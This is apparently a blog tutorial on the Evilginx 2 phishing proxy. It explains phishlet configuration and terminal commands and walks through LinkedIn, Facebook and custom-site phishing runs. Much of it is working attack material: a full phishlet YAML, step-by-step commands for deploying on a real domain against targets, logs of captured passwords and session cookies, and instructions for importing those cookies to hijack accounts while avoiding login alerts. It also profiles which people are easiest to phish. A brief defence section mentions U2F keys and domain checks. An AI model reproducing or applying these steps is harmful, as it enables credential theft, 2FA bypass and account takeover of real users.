Introduction
There is no need to say much here. Evilginx 2 is a MiTM Attack Framework used for phishing login credentials along with session cookies. We’ll quickly go through some basics (I’ll try to summarize EvilGinx 2.1) and some Evilginx Phishing Examples. Without further ado…
Check Advanced MiTM Attack Framework – Evilginx 2 for installation (additional) details.
Evilginx Basics (v2.1)
Gretzky mentioned on his website , Evilginx 2 is now independent from nginx. Pure GO, and pure evil.
With each successful login, website is generating authentication token for that session, and every request user sends to website contains that token (cookie). Evilginx 2 is stealing authentication tokens sent as cookies, circumventing user/pass login and 2FA. It basically copies the session. With those cookies and token(s) in place, attacker is considered as a fully/successfully logged in user.
Don’t get me wrong. Evilginx 2 is acting as a proxy (traffic goes through it), and is able to steal the credentials too:
[19:08:35] [dbg] POST jx = e3af [19:08:35] [dbg] POST eh = aHR0cDovL3d3dy5nb29nbGUuY29t [19:08:35] [dbg] www.evilginx2-test.tk: PHPSESSID = tvdvfiq9littgncvvkmtq9ga30 [19:08:38] [dbg] POST login = [19:08:38] [dbg] POST username = admin [19:08:38] [+++] [1] Username: [admin] [19:08:38] [dbg] POST password = theone [19:08:38] [+++] [1] Password: [theone] [19:08:38] [+++] [1] detected authorization URL - tokens intercepted +-----+-----------+---------------------+-------------------------+-----------+------------+-------------------+ | id | phishlet | username | password | tokens | remote ip | time | +-----+-----------+---------------------+-------------------------+-----------+------------+-------------------+ | 1 | custom | admin | theone | captured | 127.0.0.1 | 2018-09-29 17:28 | | 2 | linkedin | admin@cyberpunk.rs | thechosenone | captured | 127.0.0.1 | 2018-10-01 20:15 | +-----+-----------+---------------------+-------------------------+-----------+------------+-------------------+
This attack (MITM/Phishing) is mostly directed towards people not familliar enough with the tech world and Internet. That population is unable to recognize the difference between real website and a phishing one, entering user/pass wherever they’re asked or required to do so. Objectively, even the experienced users might have some difficulties finding them, occasionally “accidentaly” clicking the suspicious links in their mailbox => entering into a full panic mode (checking the network, logs, servers, closing sessions, changing passwords…).
It’s not strictly defined, but from my experience, Baby Boomers and GenerationX are the most vulnerable ones. Not interested in caching up. Millenials (Gen Y) and Gen Z are a different story, with a bit higher percentage on basic security awareness (but still, very low).
In general, there are no rules. It’s all relative and debatable, but having someone who follows Paris Hilton, listens to Justin Biber and regularly pose on Instagram minding only their estetics, it’s highly probable that the target is not “tech” literate (potentially highly vulnerable to phishing exploits). Estimate, psychology, statistics,… everyone is vulnerable, the only question is how difficult is specific target.
Back to the story. Since Evilginx is a type of Proxy, it intercepts SSL/TLS communication and makes a new one with the real website.
Problems/Defence
To phish people, attacker must register a domain name. He will try to make it as similar to the real website as possible.
Check address bar website name. Phishing domain frequently has a similar name, for instance, instead of google.com, there might be a g00gle.com (with zeros). For greater efficiency, phishing sites might use different charset (Unicode, Cyrillic,..), using visually similar letters.
Browser introduced IDN (Internationalized Domain Names), Green icon in browser (SSL) doesn’t mean you’re safe, it just shows that the communication is encrypted. As mentioned, evilginx acts as a proxy, so that doesn’t mean much.
Open your eyes, be careful, be aware..
Another way to prevent evilginx phishing is to rely on U2F (Universal 2nd Factory Authentication), a phisical hardware key. Website talks directly with the hardware key plugged into your USB port. If domain name in the address bar doesn’t match with the the one used with U2F device, communication fails.
Evilginx Phishlets
Evilginx phishlets are plain-text ruleset (YAML format), which are fed into Evilginx engine, and they’re defining which subdomains are needed to properly proxy a specific site, which strings to replace in relayed packets, which cookies to capture, etc. In those phishlets we have some general variables, e.g.:
name
: phishlet name (used in evilginx2)author
: cyberpunk_rsmin_ver
: 2.1.0
and a number of arrays:
- proxy_hosts :
phish_sub
: subdomain name that will be prefixed in the phishlet’s hostname. As Gretzky advised, leave it the same as the original subdomain name.orig_sub
: original subdomain name as used on the legitimate websitedomain
: website’s domain we’re targetingsession
: set this to true only for the subdomains that will return authentication cookies.is_landing
: set this to true if you want this subdomain to be used in generation of phishing URLs later on
- sub_filters :
hostname
: original hostname of the website, for which substitution will take placesub
: subdomain name from the original hostname. Used as a subtitution helper stirngdomain
: domain name of the original hostname (similar to sub)search
: regular expression of what to search for in HTTP packet’s body.replace
: string that will act as a replacement for all occurances ofsearch
(regular expression supported)mimes
: array of MIME types that will only be considered before doin search and replace.redirect_only
: use this sub_filter only if redirection URL is set in generated phishing URL (true or false)
- auth_tokens : Here we’re defining which cookies to capture on successful login. Those captured cookies we can later import into browser (for chrome, frequently mentioned method via EditThisCookie)
domain
: original domain for which the cookies will be saved forkeys
: array of cookie names that should be captures (using specific name [‘PHPSESSID’] or grabbing all cookies with regex [‘.*,regexp’]
- auth_urls: Specify a array of urls that will trigger session capture (regular expression supported)
- e.g. for our custom example: – ‘/ex/’
- user_regex :
key
: name of the POST req. keyre
: regular expression, e.g. (.*) will capture whole value
- pass_regex :
key
: name of the POST req. keyre
: regular expression, e.g. (.*) will capture whole value
- landing_path : a list of URL paths to login pages.
- e.g. for facebook: – ‘/login.php’
Evilginx Terminal/Commands
Short review of evilginx command line options.
Manage General Configuration
Shows values of all configuration variables and allows to change them. config : show all configuration variables config domain <domain> : set base domain for all phishlets (e.g. evilsite.com) config ip <ip_address> : set ip address of the current server config redirect_key <name> : change name of the redirect parameter in phishing url (phishing urls will need to be regenerated) config verification_key <name> : change name of the verification parameter in phishing url (phishing urls will need to be regenerated) config verification_token <token> : change the value of the verification token (phishing urls will need to be regenerated) config redirect_url <url> : change the url where all unauthorized requests will be redirected to (phishing urls will need to be regenerated)
Phishlets Configuration
Shows status of all available phishlets and allows to change their parameters and enabled status. phishlets : show status of all available phishlets phishlets hostname <phishlet> <hostname> : set hostname for given phishlet (e.g. this.is.not.a.phishing.site.evilsite.com) phishlets enable <phishlet> : enables phishlet and requests ssl/tls certificate if needed phishlets disable <phishlet> : disables phishlet phishlets hide <phishlet> : hides the phishing page, logging and redirecting all requests to it (good for avoiding scanners when sending out phi shing links) phishlets unhide <phishlet> : makes the phishing page available and reachable from the outside phishlets get-url <phishlet> <redirect_url> : generates phishing url with redirection on successful authentication phishlets get-hosts <phishlet> : generates entries for hosts file in order to use localhost for testing
Manage Sessions and Captured Tokens/Credentials
Shows all captured credentials and authentication tokens. Allows to view full history of visits and delete logged sessions. sessions : show history of all logged visits and captured credentials sessions <id> : show session details, including captured authentication tokens, if available sessions delete <id> : delete logged session with <id> (ranges with separators are allowed e.g. 1-7,10-12,15-25) sessions delete all : delete all logged sessions
Evilginx Developer mode
There is a way to test your phishlets locally. Start your Evilginx 2.1 with -developer
argument. Here, instead of fetching LetsEncrypt SSL Certs, evilginx will automatically generate self-signed certificates. With this mode, there is no need to register a domain name. Ideal for testing purposes.
Note: Since we need ports 53/80, be sure you’ve disabled active name resolution services (e.g. systemd-resolved) and active web servers (nginx, apache). Adjust /etc/resolv.conf
and include your router (if necessary), and add domains you plan to use in /etc/hosts
file:
127.0.0.1 phishing-domain.com 127.0.0.1 my.phishing-domain.com
Depending on how your *.YAML
phishlet looks like, you might consider adding www.
variants too. In evilginx, you would use something like:
config domain phishing-domain.com config ip 127.0.0.1 phishlet hostname <PHISHLET> my.phishing-domain.com
Evilginx Phishing Examples
We’re going to go through a few examples, including a custom one:
- Linkedin (Developer Mode)
- Facebook (via tmp domain name)
- Custom, simple PHPSESSID Login capture (Developer mode)
Some domains/targets or better to say browsers don’t allow access without SSL (HSTS).
1. Phishlets/YAML are case-sensitive (e.g. name variable)!
2. If you’re retrying phishing in the same browser, you might experience some problems. Make sure you clear everything (restart the browser, clear cache, basically restart everything if needed).
3. The
auth_tokens
domain must mach the cookie domain.Linkedin vs Evilginx (Developer Mode)
$ sudo ./bin/evilginx -p phishlets/ -developer ___________ __ __ __ \_ _____/__ _|__| | ____ |__| ____ ___ ___ | __)_\ \/ / | | / __ \| |/ \\ \/ / | \\ /| | |__/ /_/ > | | \> < /_______ / \_/ |__|____/\___ /|__|___| /__/\_ \ \/ /_____/ \/ \/ no nginx - pure evil by Kuba Gretzky (@mrgretzky) version 2.1.0 [15:22:40] [inf] loading phishlets from: phishlets/ [15:22:40] [inf] loaded phishlet 'amazon' made by @customsync from 'amazon.yaml' [15:22:40] [inf] loaded phishlet 'facebook' made by @mrgretzky from 'facebook.yaml' [15:22:40] [inf] loaded phishlet 'gmail' made by @cyberpunk from 'gmail.yaml' [15:22:40] [inf] loaded phishlet 'linkedin' made by @mrgretzky from 'linkedin.yaml' [15:22:40] [inf] loaded phishlet 'outlook' made by @mrgretzky from 'outlook.yaml' [15:22:40] [inf] loaded phishlet 'reddit' made by @customsync from 'reddit.yaml' [15:22:40] [inf] loaded phishlet 'twitter-mobile' made by @white_fi from 'twitter-mobile.yaml' [15:22:40] [inf] loaded phishlet 'twitter' made by @white_fi from 'twitter.yaml' : phishlets : config domain phishing-domain.com : config ip 127.0.0.1 : phishlets hostname linkedin phishing-domain.com : phishlets enable linkedin : phishlets get-url linkedin http://www.google.com
You’ll get a phishing url, you can use for local testing. E.g.:
https://www.phishing-domain.com/login.php?op=6716&xl=aHR0cDovL3d3dy5nb3kjfAflk43t
Before you continue, make sure you have that the phishing domain you use is in your /etc/hosts
file. We’re testing this in developer mode (locally), we don’t want router to resolve those online.
127.0.0.1 phishing-domain.com 127.0.0.1 www.phishing-domain.com
Don’t mind “Connection not private” warning. We’re testing this in developer mode, certs are self signed, it’s normal. Open phishing url in browser and login. You should see captured info in session listing:
... [20:45:25] [dbg] POST username = USER [20:45:25] [+++] [0] Username: [USER] ... [20:45:25] [dbg] POST password = PASSWORD [20:45:25] [+++] [0] Password: [PASSWORD] ... [20:45:25] [+++] [0] all authorization tokens intercepted! : sessions +-----+-----------+-----------+-----------+-----------+------------+-------------------+ | id | phishlet | username | password | tokens | remote ip | time | +-----+-----------+-----------+-----------+-----------+------------+-------------------+ | 78 | linkedin | USERNAME | PASSWORD | captured | 127.0.0.1 | 2018-10-09 20:45 | +-----+-----------+-----------+-----------+-----------+------------+-------------------+
Check details of that session with:
: sessions <SESSION_ID>
Go to the linkedin page. Take the cookie data from the evilginx session and import it into browser. After you refresh the page, linkedin/browser should consider you as fully logged in user.
Facebook vs Evilginx
We’ll use some free .TK
domain and one of our servers to show this real-world example. You’ll have to find your own. Facebook phishlet (already present with Evilginx) requires couple of subdomains (www, m, static), so add appropriate DNS records or you’ll hit something like:
Remember, DNS changes might take some time to propagate. If DNS updates don’t work right away, wait a little and try again.
: config domain <YOUR_PHISHING_DOMAIN> : config ip <YOUR_HOSTING_IP> : phishlets hostname facebook <YOUR_PHISHING_DOMAIN> : phishlets enable facebook : phishlets get-url facebook <URL_REDIRECTION>
You’ll get an url that you’ll use to phish your targets, like:
https://www.<YOUR_PHISHING_DOMAIN>/login.php?op=6716&xl=aHR0cDovL3d3dy5nb29nbGUuY29t
When target opens that url, it’s going to encounter the same “copy” of the Facebook page. If targets gets tricked and logs in, you’ll find captured sessions with:
: sessions +-----+-----------+----------------------+-------------------------+-----------+-----------------+-------------------+ | id | phishlet | username | password | tokens | remote ip | time | +-----+-----------+----------------------+-------------------------+-----------+-----------------+-------------------+ | 4 | facebook | FB_USERNAME | FB_USER_PASSWORD | captured | 89.101.255.118 | 2018-10-09 17:20 | +-----+-----------+----------------------+-------------------------+-----------+-----------------+-------------------+ : sessions 4 id : 4 phishlet : facebook username : FB_USERNAME password : USER_PASSWORD tokens : captured landing url : https://www.<YOUR_PHISHING_DOMAIN>/login.php user-agent : Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Ubuntu Chromium/69.0.3497.81 Chrome/69.0.3497.81 Safari/537.36 remote ip : 79.101.255.248 create time : 2018-10-09 17:14 update time : 2018-10-09 17:20 [{"path":"/","domain":".facebook.com","expirationDate":1570634437,"value":"100028145626427","name":"c_user"},{"path":"/","domain":".facebook.com","e xpirationDate":1570634437,"value":"wXAW8GwvpBCIfLnZmFmTDffRa","name":"sb","httpOnly":true},{"path":"/","domain":".facebook.com","expirationDate":1570 634437,"value":"33%3A-ddFhyOILtvOAw%3A2%3A1234234215%3A16537%3A15080","name":"xs","httpOnly":true}]
Import that/those cookie(s) into your browser (via EditThisCookie or some other way) and you’re in. Since facebook (and many others) sends a report to the account owner related to the login from an unknown device or location, using session tokens might be a better option.
Custom vs Evilginx (Developer Mode)
We’ll use the following phishlet:
name: 'custom' author: '@cyberpunk_rs' min_ver: '2.1.0' proxy_hosts: - {phish_sub: 'www', orig_sub: 'www', domain: 'evilginx2-test.tk', session: true, is_landing: true} sub_filters: - {hostname: 'www.evilginx2-test.tk', sub: 'www', domain: 'evilginx2-test.tk', search: 'action="https://{hostname}', replace: 'action="https://{hostname}', mimes: ['text/html', 'application/json']} - {hostname: 'www.evilginx2-test.tk', sub: 'www', domain: 'evilginx2-test.tk', search: 'href="https://{hostname}', replace: 'href="https://{hostname}', mimes: ['text/html', 'application/json']} - {hostname: 'www.evilginx2-test.tk', sub: 'www', domain: 'evilginx2-test.tk', search: '//{hostname}/ex/', replace: '//{hostname}/ex/', mimes: ['text/html', 'application/json']} auth_urls: - '/ex/' auth_tokens: - domain: 'www.evilginx2-test.tk' keys: ['PHPSESSID'] user_regex: key: 'username' re: '(.*)' pass_regex: key: 'password' re: '(.*)' landing_path: - '/login/'
Setting subdomains, replacing strings, auth_urls
and tokens, everything needed for phishing our custom login test system. Instead of defining specific key/cookie we want to capture (PHPSESSID) we could’ve set it to capture all cookies with: ['.*,regexp'].
$ sudo ./bin/evilginx -p phishlets/ -developer -debug : phishlets enable custom [21:15:05] [inf] enabled phishlet 'custom' [21:15:05] [inf] developer mode is on - will use self-signed SSL/TLS certificates for phishlet 'custom' : phishlets get-url custom http://www.google.com https://www.phishing-domain.com/login/?jx=e3af&eh=aHR0cDovL3d3dy5nb29nbGUuY29t [21:15:14] [dbg] Fetching TLS certificate from www.evilginx2-test.tk:443 ... [21:15:21] [imp] [0] [custom] new visitor has arrived: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Ubuntu Chromium/69.0.3497.81 Chrome/6 9.0.3497.81 Safari/537.36 (127.0.0.1) [21:15:21] [inf] [0] [custom] landing URL: https://www.phishing-domain.com/login/?jx=e3af&eh=aHR0cDovL3d3dy5nb29nbGUuY29t [21:15:21] [dbg] redirect URL: http://www.google.com [21:15:21] [dbg] POST jx = e3af [21:15:21] [dbg] POST eh = aHR0cDovL3d3dy5nb29nbGUuY29t [21:15:23] [dbg] www.evilginx2-test.tk: PHPSESSID = 3k3oj1bn7qi1m2qtgoh4ru79t6 [21:15:25] [dbg] POST username = admin [21:15:25] [+++] [0] Username: [admin] [21:15:25] [dbg] POST password = theone [21:15:25] [+++] [0] Password: [theone] [21:15:25] [dbg] POST login = [21:15:25] [+++] [0] detected authorization URL - tokens intercepted: /ex/index.php : sessions +-----+-----------+-----------+-----------+-----------+------------+-------------------+ | id | phishlet | username | password | tokens | remote ip | time | +-----+-----------+-----------+-----------+-----------+------------+-------------------+ | 78 | custom | admin | theone | captured | 127.0.0.1 | 2018-10-09 21:15 | +-----+-----------+-----------+-----------+-----------+------------+-------------------+ : sessions 78 id : 78 phishlet : custom username : admin password : theone tokens : captured landing url : https://www.phishing-domain.com/login/ user-agent : Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Ubuntu Chromium/69.0.3497.81 Chrome/69.0.3497.81 Safari/537.36 remote ip : 127.0.0.1 create time : 2018-10-09 21:15 update time : 2018-10-09 21:15 [{"path":"/","domain":"www.evilginx2-test.tk","expirationDate":1570648540,"value":"3k3oj1bn7qi1m2qtgoh4ru79t6","name":"PHPSESSID","httpOnly":true,"hostOnly":true}]
By importing that cookie data into a browser, we’ll take over user session.
Conclusion
In general, the only thing you can do with phishing is to be as careful as possible (although I’m not sure that would be enough either). Evilginx2 definitely moved some bounderies. It’s practical, easy to use, with enough options to customize your own attacks.
Hopefully, this short intro on Evilginx capabilities/options might help raise some awareness on the subject (MITM, Phishing, security in general). Don’t click randomly on anything you receive (even if it’s your own mother sending it), and especially don’t login to where ever that link sends you to.. Inspect Links, Domains/Subdomains, Inspect mails, reCheck everything.. A little bit of paranoia might be useful here… stay safe.